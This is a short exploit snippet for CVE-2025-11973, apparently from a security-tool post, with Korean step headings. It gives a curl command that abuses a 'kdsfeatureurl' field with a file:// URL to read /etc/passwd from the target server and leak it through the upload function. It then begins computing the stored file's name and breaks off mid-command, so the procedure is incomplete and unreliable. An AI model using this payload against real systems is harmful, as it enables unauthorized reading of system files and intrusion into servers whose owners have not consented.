CVE-2025-11973

트리거: /etc/passwd를 file://로 읽고 업로드로 유출 root@kitploit: curl -sS -A "$UA" -X POST "$BASE/?kdsflag=post" \ --data-urlencode "kdspassword=$SECRET" \ --data-urlencode "posttitle=sub1-lfi" \ --data-urlencode "kdsfeatureurl=file:///etc/passwd" 유출된 파일 검색 저장된 파일 이름 계산 root@kitploit: HASH=$printf...